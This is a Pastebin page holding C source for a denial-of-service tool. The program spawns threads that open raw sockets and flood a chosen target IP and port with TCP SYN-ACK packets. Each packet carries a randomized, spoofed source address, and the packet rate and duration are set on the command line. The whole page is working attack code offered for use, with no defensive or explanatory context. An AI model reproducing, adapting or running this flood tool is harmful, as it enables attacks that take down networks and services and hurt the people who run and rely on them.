Advertisement
xttpx

essyn

Jul 10th, 2017
12,189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.08 KB | None | 0 0
  1. #include <unistd.h>
  2. #include <time.h>
  3. #include <sys/types.h>
  4. #include <sys/socket.h>
  5. #include <sys/ioctl.h>
  6. #include <string.h>
  7. #include <stdlib.h>
  8. #include <stdio.h>
  9. #include <pthread.h>
  10. #include <netinet/tcp.h>
  11. #include <netinet/ip.h>
  12. #include <netinet/in.h>
  13. #include <netinet/if_ether.h>
  14. #include <netdb.h>
  15. #include <net/if.h>
  16. #include <arpa/inet.h>
  17. #define MAX_PACKET_SIZE 4096
  18. #define PHI 0x9e3779b9
  19. static unsigned long int Q[4096], c = 362436;
  20. static unsigned int floodport;
  21. volatile int limiter;
  22. volatile unsigned int pps;
  23. volatile unsigned int sleeptime = 100;
  24. void init_rand(unsigned long int x)
  25. {
  26.     int i;
  27.     Q[0] = x;
  28.     Q[1] = x + PHI;
  29.     Q[2] = x + PHI + PHI;
  30.     for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
  31. }
  32. unsigned long int rand_cmwc(void)
  33. {
  34.     unsigned long long int t, a = 18782LL;
  35.     static unsigned long int i = 4095;
  36.     unsigned long int x, r = 0xfffffffe;
  37.     i = (i + 1) & 4095;
  38.     t = a * Q[i] + c;
  39.     c = (t >> 32);
  40.     x = t + c;
  41.     if (x < c) {
  42.     x++;
  43.     c++;
  44.     }
  45.     return (Q[i] = r - x);
  46. }
  47. unsigned short csum (unsigned short *buf, int count)
  48. {
  49.     register unsigned long sum = 0;
  50.     while( count > 1 ) { sum += *buf++; count -= 2; }
  51.     if(count > 0) { sum += *(unsigned char *)buf; }
  52.     while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  53.     return (unsigned short)(~sum);
  54. }
  55. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {
  56.     struct tcp_pseudo
  57.     {
  58.     unsigned long src_addr;
  59.     unsigned long dst_addr;
  60.     unsigned char zero;
  61.     unsigned char proto;
  62.     unsigned short length;
  63.     } pseudohead;
  64.     unsigned short total_len = iph->tot_len;
  65.     pseudohead.src_addr=iph->saddr;
  66.     pseudohead.dst_addr=iph->daddr;
  67.     pseudohead.zero=0;
  68.     pseudohead.proto=IPPROTO_TCP;
  69.     pseudohead.length=htons(sizeof(struct tcphdr));
  70.     int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  71.     unsigned short *tcp = malloc(totaltcp_len);
  72.     memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  73.     memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  74.     unsigned short output = csum(tcp,totaltcp_len);
  75.     free(tcp);
  76.     return output;
  77. }
  78. void setup_ip_header(struct iphdr *iph)
  79. {
  80.     iph->ihl = 5;
  81.     iph->version = 4;
  82.     iph->tos = 0;
  83.     iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
  84.     iph->id = htonl(54321);
  85.     iph->frag_off = 0;
  86.     iph->ttl = MAXTTL;
  87.     iph->protocol = 6;
  88.     iph->check = 0;
  89.     iph->saddr = inet_addr("192.168.3.100");
  90. }
  91.  
  92. void setup_tcp_header(struct tcphdr *tcph)
  93. {
  94.     tcph->source = htons(5678);
  95.     tcph->seq = rand();
  96.     tcph->ack_seq = rand();
  97.     tcph->res2 = 0;
  98.     tcph->doff = 5;
  99.     tcph->syn = 1;
  100.     tcph->ack = 1;
  101.     tcph->window = rand();
  102.     tcph->check = 0;
  103.     tcph->urg_ptr = 0;
  104. }
  105. void *flood(void *par1)
  106. {
  107.     char *td = (char *)par1;
  108.     char datagram[MAX_PACKET_SIZE];
  109.     struct iphdr *iph = (struct iphdr *)datagram;
  110.     struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
  111.     struct sockaddr_in sin;
  112.     sin.sin_family = AF_INET;
  113.     sin.sin_port = htons(floodport);
  114.     sin.sin_addr.s_addr = inet_addr(td);
  115.     int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
  116.     if(s < 0){
  117.     fprintf(stderr, "Could not open raw socket.\n");
  118.     exit(-1);
  119.     }
  120.     memset(datagram, 0, MAX_PACKET_SIZE);
  121.     setup_ip_header(iph);
  122.     setup_tcp_header(tcph);
  123.     tcph->dest = htons(floodport);
  124.     iph->daddr = sin.sin_addr.s_addr;
  125.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  126.     int tmp = 1;
  127.     const int *val = &tmp;
  128.     if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
  129.         fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
  130.         exit(-1);
  131.     }
  132.     init_rand(time(NULL));
  133.     register unsigned int i;
  134.     i = 0;
  135.     while(1){
  136.     sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
  137.     iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
  138.     iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
  139.     iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  140.     tcph->seq = rand_cmwc() & 0xFFFF;
  141.     tcph->source = htons(rand_cmwc() & 0xFFFF);
  142.     tcph->check = 0;
  143.     tcph->check = tcpcsum(iph, tcph);  
  144.     pps++;
  145.     if(i >= limiter)
  146.     {
  147.     i = 0;
  148.     usleep(sleeptime);
  149.     }
  150.     i++;
  151.     }
  152. }
  153. int main(int argc, char *argv[ ])
  154. {
  155.     if(argc < 6){
  156.     fprintf(stderr, "Invalid parameters!\n");
  157.     fprintf(stdout, "Usage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
  158.     exit(-1);
  159.     }
  160.     fprintf(stdout, "Setting up Sockets...\n");
  161.     int num_threads = atoi(argv[3]);
  162.     floodport = atoi(argv[2]);
  163.     int maxpps = atoi(argv[4]);
  164.     limiter = 0;
  165.     pps = 0;
  166.     pthread_t thread[num_threads];
  167.     int multiplier = 20;
  168.     int i;
  169.     for(i = 0;i<num_threads;i++){
  170.     pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
  171.     }
  172.     fprintf(stdout, "Starting Flood...\n");
  173.     for(i = 0;i<(atoi(argv[5])*multiplier);i++)
  174.     {
  175.         usleep((1000/multiplier)*1000);
  176.         if((pps*multiplier) > maxpps)
  177.         {
  178.             if(1 > limiter)
  179.             {
  180.                 sleeptime+=100;
  181.             } else {
  182.                 limiter--;
  183.             }
  184.         } else {
  185.             limiter++;
  186.             if(sleeptime > 25)
  187.             {
  188.                 sleeptime-=25;
  189.             } else {
  190.                 sleeptime = 0;
  191.             }
  192.         }
  193.         pps = 0;
  194.     }
  195.  
  196.     return 0;
  197. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement